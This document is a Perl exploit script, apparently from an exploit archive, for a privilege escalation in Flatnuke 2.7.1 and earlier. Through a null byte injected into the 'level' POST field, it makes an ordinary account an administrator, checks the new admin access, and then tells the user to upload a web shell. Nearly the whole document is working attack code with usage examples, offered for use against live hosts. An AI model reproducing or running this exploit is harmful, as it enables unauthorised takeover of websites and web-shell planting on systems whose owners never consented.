| 
	  #!/usr/bin/env perl # # Flatnuke <= 2.7.1 (level) Privilege Escalation 0-day Exploit   #  # Description # ----------- # Flatnuke contains one flaw that may allow a user to become administrator.  # The issue is due to 'sections/none_Login/section.php' script not properly  # sanitizing user input supplied to the "level" POST variable. GPC = Off # Change your rights using the null byte. Dork? Find it yourself. # ----------- # by Juri Gianni aka yeat - staker[at]hotmail[dot]it # thanks to #zeroidentity chan - http://zeroidentity.org # Aquilo,mrdotkom,p3ri0d and the other members # # http://www.youtube.com/watch?v=fCRkJb8H2mQ italian  # http://www.youtube.com/watch?v=1U4KKuqdoRg english  # # Usage/Example # -------------   # perl flatnuke.pl host /path username secid # perl flatnuke.pl localhost /flatnuke yeat 1ab8c9b8d33a4a4e1001d07af5565d22 # ------------- 
use LWP::UserAgent; use IO::Socket; 
 our ($host,$path,$user,$secid) = @ARGV; 
if (@ARGV != 4)  {       print "Flatnuke <= 2.7.1 (level) Privilege Escalation 0-day Exploit\n";       Usage::Exploit(); } else {     Flatnuke::Exploit(); }    
 sub Flatnuke::Exploit() {         my ($ret,$lwp);                  $lwp = new LWP::UserAgent;                  $lwp->timeout(5);         $lwp->agent('Links (2.1pre26; Linux 2.6.19-gentoo-r5 x86_64; x)');         $lwp->default_header('Cookie' => "myforum=$user; path=$path; secid=$secid; path=$path;");                  $ret = $lwp->post("http://$host/$path/index.php?mod=none_Login",                           [                             action     => 'saveprofile',                             user       => $user,                             hiddenmail => 'on',                             ava        => 'blank.png',                             level      => "\x0010",                           ]);                    if ($ret->is_success) {            Flatnuke::Rights();         }    } 
 sub Flatnuke::Rights() {        my $packet;        my $result;        my $socket = new IO::Socket::INET(                                           PeerAddr => $host,                                           PeerPort => 80,                                           Proto    => 'tcp',                                         ) or die $!;                                                   $packet .= "GET /$path/index.php?mod=none_Admin HTTP/1.1\r\n";        $packet .= "Host: $host\r\n";        $packet .= "User-Agent: Lynx (textmode)\r\n";        $packet .= "Referer: http://$host/$path/index.php?mod=none_Admin\r\n";        $packet .= "Cookie: myforum=$user; path=$path; secid=$secid; path=$path;\r\n";        $packet .= "Connection: close\r\n\r\n";              $socket->send($packet);              while (<$socket>) {           $result .= $_;        }              if ($result =~ /(livello|nivel|level|niveau) 10/i) {              print "Exploit successful..you're admin\n";          print "Upload a shell on: sections/none_Admin/none_tools/webadmin.php\n";        }        else {          print "Exploit unsuccesful..\n";        }     } 
 sub Usage::Exploit() {         print "Usage: perl $0 host/path username secid\n";         print "RunEx: perl localhost /flatnuke yeat c3e557f271a86f893e02971b38b51653\n";         print "by staker[at]hotmail[dot]it\n";         exit; }        
  
	
  |